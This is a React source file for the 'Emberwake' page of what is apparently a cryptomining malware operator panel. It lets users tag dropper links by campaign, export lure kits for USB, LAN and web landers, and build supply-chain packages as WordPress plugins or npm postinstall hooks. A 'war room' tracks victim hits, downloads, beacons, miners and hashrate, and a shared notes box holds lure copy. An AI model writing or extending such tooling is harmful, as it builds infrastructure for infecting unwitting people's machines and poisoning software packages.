import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
import { publicDownloadUrl } from '../help/emberwake';
import {
  EMBERWAKE_TECHNIQUE_LINKS,
  SPREAD_TECHNIQUES_DOC,
  spreadTechniqueDocUrl,
} from '../help/spreadTechniques';
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
import {
  aggregateCampaignTelemetry,
  maxTelemetryHashrate,
  mergeCampaignWithLiveTelemetry,
} from '../help/warRoomTelemetry';
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
import { useWebSocket } from '../hooks/useWebSocket';
import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import { HelpTip } from '../components/HelpTip';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';

function CopyChip({ text, label }: { text: string; label: string }) {
  const [ok, setOk] = useState(false);
  const copy = () => {
    void navigator.clipboard?.writeText(text).then(() => {
      setOk(true);
      setTimeout(() => setOk(false), 1500);
    }).catch(() => {});
  };
  return (
    <button type="button" className="btn btn-outline btn-sm" onClick={copy}>
      {ok ? 'Copied' : label}
    </button>
  );
}

const NOTES_TYPING_DEBOUNCE_MS = 400;
const NOTES_TYPING_IDLE_MS = 2000;
const WAR_ROOM_DAYS = 7;

export default function EmberwakePage() {
  const { latestMessage, agents: wsAgents } = useWebSocket();
  const { notesTyping, sendNotesTyping } = usePresence();
  const [builds, setBuilds] = useState<BuildRecord[]>([]);
  const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
  const [serverBase, setServerBase] = useState('');
  const [campaign, setCampaign] = useState('linkedin-bait');
  const [pinA, setPinA] = useState('');
  const [pinB, setPinB] = useState('');
  const [notes, setNotes] = useState('');
  const [notesMeta, setNotesMeta] = useState('');
  const [warRoom, setWarRoom] = useState<WarRoomResponse | null>(null);
  const [warRoomUpdated, setWarRoomUpdated] = useState('');
  const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
  const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
  const [exportBusy, setExportBusy] = useState(false);
  const [siteName, setSiteName] = useState('my-blog');
  const [notesBusy, setNotesBusy] = useState(false);
  const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
  const typingActiveRef = useRef(false);

  const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);

  // Keep refs so `load` can read current pin values without listing them as deps.
  // Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
  // re-render → new load reference → useEffect fires load() again (×N).
  const pinARef = useRef(pinA);
  const pinBRef = useRef(pinB);
  pinARef.current = pinA;
  pinBRef.current = pinB;

  const loadWarRoom = useCallback(async () => {
    try {
      const data = await api.getWarRoom(WAR_ROOM_DAYS);
      setWarRoom(data);
      setWarRoomUpdated(data.generated_at);
    } catch {
      /* war room is non-critical; silently retain previous data */
    }
  }, []);

  const load = useCallback(async () => {
    const [b, info, cfg, pub, n] = await Promise.all([
      api.listBuilds(),
      api.getServerInfo(),
      api.getConfig(),
      api.listPublicBuilds(),
      api.getEmberwakeNotes(),
    ]);
    setBuilds(b);
    const pubUrl = cfg.server?.public_url?.trim();
    setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
    setPublicBuilds(pub.builds);
    setNotes(n.content);
    setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
    void loadWarRoom().catch(() => {});
    if (!pinARef.current) {
      const p = b.find((x) => x.pinned);
      if (p) setPinA(p.id);
    }
    if (!pinBRef.current && b.length > 1) {
      const alt = b.find((x) => !x.pinned) ?? b[1];
      if (alt) setPinB(alt.id);
    }
  }, [loadWarRoom]);

  useEffect(() => {
    void load().catch(() => {});
  }, [load]);

  const liveTelemetry = useMemo(() => aggregateCampaignTelemetry(wsAgents), [wsAgents]);
  const maxLiveHashrate = useMemo(() => maxTelemetryHashrate(liveTelemetry), [liveTelemetry]);

  const displayCampaigns = useMemo(() => {
    if (!warRoom?.campaigns?.length) return [];
    return warRoom.campaigns.map((c) =>
      mergeCampaignWithLiveTelemetry(c, liveTelemetry.get(c.campaign)),
    );
  }, [warRoom, liveTelemetry]);

  const campaignAgentsMap = useMemo(() => {
    const out: Record<string, typeof wsAgents> = {};
    for (const [slug, telemetry] of liveTelemetry) {
      out[slug] = telemetry.agents;
    }
    return out;
  }, [liveTelemetry]);

  useEffect(() => {
    if (!latestMessage) return;
    if (latestMessage.type === 'emberwake_notes_updated') {
      const p = latestMessage.payload as EmberwakeNotes;
      if (p && typeof p.content === 'string') {
        setNotes(p.content);
        setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
      }
      return;
    }
    if (latestMessage.type === 'emberwake_war_room') {
      const p = latestMessage.payload as WarRoomResponse;
      if (p && Array.isArray(p.campaigns)) {
        setWarRoom(p);
        setWarRoomUpdated(p.generated_at || new Date().toISOString());
      }
    }
  }, [latestMessage]);

  const stopNotesTyping = useCallback(() => {
    if (typingTimerRef.current) {
      clearTimeout(typingTimerRef.current);
      typingTimerRef.current = null;
    }
    if (typingActiveRef.current) {
      typingActiveRef.current = false;
      sendNotesTyping(false);
    }
  }, [sendNotesTyping]);

  const handleNotesChange = (value: string) => {
    setNotes(value);
    if (typingTimerRef.current) clearTimeout(typingTimerRef.current);
    typingTimerRef.current = setTimeout(() => {
      if (!typingActiveRef.current) {
        typingActiveRef.current = true;
        sendNotesTyping(true);
      }
      typingTimerRef.current = setTimeout(() => stopNotesTyping(), NOTES_TYPING_IDLE_MS);
    }, NOTES_TYPING_DEBOUNCE_MS);
  };

  useEffect(() => () => stopNotesTyping(), [stopNotesTyping]);

  const handleConstellationSelect = useCallback((slug: string) => {
    setHighlightedCampaign(slug);
    setWarRoomView('funnel');
  }, []);

  useEffect(() => {
    if (warRoomView !== 'funnel' || !highlightedCampaign) return;
    const t = window.setTimeout(() => {
      const el = document.getElementById(`war-room-campaign-${highlightedCampaign}`);
      el?.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
    }, 80);
    const clear = window.setTimeout(() => setHighlightedCampaign(null), 3200);
    return () => {
      window.clearTimeout(t);
      window.clearTimeout(clear);
    };
  }, [warRoomView, highlightedCampaign]);

  const saveNotes = async () => {
    stopNotesTyping();
    setNotesBusy(true);
    try {
      const n = await api.putEmberwakeNotes(notes);
      setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
    } finally {
      setNotesBusy(false);
    }
  };

  const exportKit = async () => {
    setExportBusy(true);
    try {
      await api.exportSpreadKit({
        build_id: pinA || pinned[0]?.id || '',
        server_url: serverBase,
        campaign,
      });
    } finally {
      setExportBusy(false);
    }
  };

  return (
    <div className="page emberwake-page operator-deck-page">
      <header className="deck-hero">
        <div className="deck-hero-text">
          <p className="deck-eyebrow font-tech">SPREAD OPERATIONS</p>
          <h1>
            Emberwake <HelpTip field="ew_overview" />
          </h1>
          <p className="page-subtitle">
            Tag install links, export lure kits, and track which campaigns convert — all from one desk.
          </p>
          <p className="emberwake-hero-links form-hint">
            <a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
              Spread techniques playbook
            </a>
            {' · '}
            <a href="/spread/">On-server spread lander</a>
          </p>
        </div>
      </header>

      <AlsoHere page="/emberwake" />

      <section
        className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-primary-block"
        aria-labelledby="ew-setup-heading"
      >
        <h2 id="ew-setup-heading" className="emberwake-section-title">
          Campaign setup <HelpTip field="ew_campaign_setup" />
        </h2>
        <p className="emberwake-section-desc">
          Set once — every link and export below uses these values.
        </p>
        <div className="emberwake-setup-grid">
          <div className="form-group">
            <label className="label" htmlFor="ew-campaign">
              Campaign slug (?c=) <HelpTip field="ew_campaign_slug" />
            </label>
            <input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
          </div>
          <div className="form-group">
            <label className="label" htmlFor="ew-server">Command deck URL</label>
            <input
              id="ew-server"
              className="input mono"
              value={serverBase}
              onChange={(e) => setServerBase(e.target.value)}
            />
          </div>
          <div className="form-group">
            <label className="label" htmlFor="ew-pin-a">Build A (pin)</label>
            <select id="ew-pin-a" className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
              <option value="">Latest / pinned</option>
              {builds.map((b) => (
                <option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
              ))}
            </select>
          </div>
          <div className="form-group">
            <label className="label" htmlFor="ew-pin-b">Build B (A/B test)</label>
            <select id="ew-pin-b" className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
              <option value="">—</option>
              {builds.map((b) => (
                <option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
              ))}
            </select>
          </div>
        </div>

        <div className="emberwake-subsection">
          <h3 className="emberwake-subsection-title">
            Install commands <HelpTip field="ew_install_links" />
          </h3>
          <p className="emberwake-section-desc">
            Per-platform one-liners (PowerShell, bash, macOS) are in Builds — pin a build there before sharing links.
          </p>
          <Link to="/builds" className="btn btn-outline">
            View install commands in Builds →
          </Link>
        </div>

        <div className="emberwake-subsection emberwake-subsection--inline">
          <div>
            <h3 className="emberwake-subsection-title">
              Download spread kit <HelpTip field="ew_spread_kit" />
            </h3>
            <p className="emberwake-section-desc">
              ZIP templates for USB, LAN, or web landers — includes <code>/spread/</code> assets.
            </p>
          </div>
          <button
            type="button"
            className="btn btn-primary"
            disabled={exportBusy || !serverBase}
            onClick={() => void exportKit()}
          >
            {exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
          </button>
        </div>
      </section>

      <section
        id="campaign-war-room"
        className="spread-section spread-section--war-room operator-deck-card operator-interactive"
        aria-labelledby="ew-war-room-heading"
      >
        <h2 id="ew-war-room-heading" className="emberwake-section-title">
          Campaign War Room <HelpTip field="ew_war_room" />
        </h2>
        <p className="emberwake-section-desc">
          Track hits → downloads → beacons → miners per <code>?c=</code> slug (last {WAR_ROOM_DAYS} days).
        </p>
        <div className="war-room-toolbar">
          <span className="war-room-toolbar-meta">
            {warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
            {' '}<HelpTip field="ew_war_room_funnel" />
          </span>
          <div className="war-room-toolbar-right">
            <div className="war-room-view-toggle" role="group" aria-label="War room view">
              <button
                type="button"
                className={`btn btn-sm ${warRoomView === 'funnel' ? 'btn-primary' : 'btn-outline'}`}
                onClick={() => setWarRoomView('funnel')}
              >
                Funnel board
              </button>
              <button
                type="button"
                className={`btn btn-sm ${warRoomView === 'table' ? 'btn-primary' : 'btn-outline'}`}
                onClick={() => setWarRoomView('table')}
              >
                Stats table
              </button>
              <button
                type="button"
                className={`btn btn-sm ${warRoomView === 'constellations' ? 'btn-primary' : 'btn-outline'}`}
                onClick={() => setWarRoomView('constellations')}
              >
                Constellations
              </button>
            </div>
            <HelpTip field="ew_war_room_views" />
            <span className="war-room-toolbar-meta">Hash live · funnel WS ~30s</span>
          </div>
        </div>
        {displayCampaigns.length > 0 ? (
          warRoomView === 'constellations' ? (
            <CampaignConstellations
              campaigns={displayCampaigns}
              onSelectCampaign={handleConstellationSelect}
            />
          ) : warRoomView === 'funnel' ? (
            <WarRoomFunnelBoard
              campaigns={displayCampaigns}
              days={warRoom?.days || WAR_ROOM_DAYS}
              refreshKey={warRoomUpdated}
              highlightCampaign={highlightedCampaign}
              campaignAgents={campaignAgentsMap}
              maxLiveHashrate={maxLiveHashrate}
            />
          ) : (
            <div className="war-room-table-wrap">
              <table className="war-room-table">
                <thead>
                  <tr>
                    <th>Campaign</th>
                    <th>Hits</th>
                    <th>Downloads</th>
                    <th>Beacon</th>
                    <th>Mining</th>
                    <th>Agents</th>
                    <th>Online</th>
                    <th>Hashrate</th>
                    <th>Conv %</th>
                    <th>7d trend</th>
                  </tr>
                </thead>
                <tbody>
                  {displayCampaigns.map((c, rowIndex) => {
                    const max = sparklineMax(c.daily_hits);
                    const beacon = c.first_beacon ?? c.agents;
                    const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
                    return (
                      <tr key={c.campaign}>
                        <td>
                          <code>{c.campaign}</code>
                          {c.last_activity ? (
                            <span className="form-hint" style={{ display: 'block', marginTop: '0.15rem' }}>
                              {new Date(c.last_activity).toLocaleDateString()}
                            </span>
                          ) : null}
                        </td>
                        <td>
                          <WarRoomOdometer
                            value={c.hits}
                            staggerMs={staggerDelayMs(rowIndex, 0)}
                            showDelta
                          />
                        </td>
                        <td>
                          <WarRoomOdometer
                            value={c.downloads}
                            staggerMs={staggerDelayMs(rowIndex, 1)}
                            showDelta
                          />
                        </td>
                        <td>
                          <WarRoomOdometer
                            value={beacon}
                            staggerMs={staggerDelayMs(rowIndex, 2)}
                            showDelta
                          />
                        </td>
                        <td>
                          <WarRoomOdometer
                            value={mining}
                            staggerMs={staggerDelayMs(rowIndex, 3)}
                            showDelta
                          />
                        </td>
                        <td>
                          <WarRoomOdometer
                            value={c.agents}
                            staggerMs={staggerDelayMs(rowIndex, 4)}
                          />
                        </td>
                        <td className="war-room-online">
                          <WarRoomOdometer
                            value={c.online}
                            staggerMs={staggerDelayMs(rowIndex, 5)}
                          />
                        </td>
                        <td>
                          <WarRoomOdometer
                            value={c.hashrate}
                            format={(n) => formatHashrate(n)}
                            staggerMs={staggerDelayMs(rowIndex, 6)}
                            showDelta
                          />
                        </td>
                        <td className="war-room-conv">
                          <WarRoomOdometer
                            value={c.conversion_pct}
                            format={(n) => n.toFixed(1)}
                            suffix="%"
                            staggerMs={staggerDelayMs(rowIndex, 7)}
                            showDelta
                          />
                        </td>
                        <td>
                          <div className="war-room-sparkline" title={c.daily_hits.join(', ')}>
                            {c.daily_hits.map((v, i) => (
                              <span
                                key={i}
                                style={{ height: `${sparklineBarHeight(v, max)}%` }}
                              />
                            ))}
                          </div>
                        </td>
                      </tr>
                    );
                  })}
                </tbody>
              </table>
            </div>
          )
        ) : (
          <p className="war-room-empty">
            No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
          </p>
        )}
      </section>

      <details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
        <summary className="emberwake-advanced-summary">
          <span className="emberwake-section-title">
            Supply-chain exports <HelpTip field="ew_supply_chain" />
          </span>
          <span className="emberwake-section-desc emberwake-advanced-tag">Advanced</span>
        </summary>
        <p className="emberwake-section-desc">
          WordPress plugin or npm postinstall ZIP — uses campaign setup above.
        </p>
        <SupplyChainExportWizard
          builds={builds}
          serverBase={serverBase}
          onServerBaseChange={setServerBase}
          pinA={pinA}
          onPinAChange={setPinA}
          campaign={campaign}
          onCampaignChange={setCampaign}
          siteName={siteName}
          onSiteNameChange={setSiteName}
        />
      </details>

      <details className="emberwake-advanced spread-section spread-section--gold operator-deck-card operator-interactive">
        <summary className="emberwake-advanced-summary">
          <span className="emberwake-section-title">
            Public download links <HelpTip field="ew_public_urls" />
          </span>
        </summary>
        <p className="emberwake-section-desc">
          Direct download URLs per build — also listed on the login page when marked public.
        </p>
        <ul className="emberwake-public-list">
          {(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
            <li key={b.id}>
              <strong>{b.worker_name}</strong> ({b.platform})
              {' — '}
              <a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
                public download
              </a>
              <CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
            </li>
          ))}
        </ul>
      </details>

      <section
        className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
        aria-labelledby="ew-techniques-heading"
      >
        <h2 id="ew-techniques-heading" className="emberwake-section-title">
          How to spread <HelpTip field="ew_techniques" />
        </h2>
        <p className="emberwake-section-desc">
          Pick a vector — step-by-step instructions live in the{' '}
          <a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
            Spread techniques playbook
          </a>
          .
        </p>
        <ul className="emberwake-technique-list">
          {EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
            <li key={t.anchor}>
              <a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
                {t.label}
              </a>
              {' — '}
              {t.hint}
            </li>
          ))}
        </ul>
      </section>

      <section className="card operator-deck-card operator-interactive" aria-labelledby="ew-notes-heading">
        <h2 id="ew-notes-heading" className="emberwake-section-title">
          Team notes <HelpTip field="ew_shared_notes" />
        </h2>
        <p className="emberwake-section-desc">
          Shared scratchpad for lure copy and rotation{notesMeta ? ` — last edit: ${notesMeta}` : ''}.
        </p>
        {notesTyping?.active && (
          <div className="emberwake-typing-banner" role="status">
            <ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
            <span className="emberwake-typing-body">
              <strong>{notesTyping.user}</strong> is editing notes
              <span className="typing-dots" aria-hidden>
                <span />
                <span />
                <span />
              </span>
              <span className="emberwake-typing-cursor" aria-hidden />
            </span>
          </div>
        )}
        <textarea
          className="input emberwake-notes"
          rows={6}
          value={notes}
          onChange={(e) => handleNotesChange(e.target.value)}
          onBlur={() => stopNotesTyping()}
          placeholder="Paste lure copy, host paths, rotation schedule…"
        />
        <button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
          {notesBusy ? 'Saving…' : 'Save notes'}
        </button>
      </section>
    </div>
  );
}
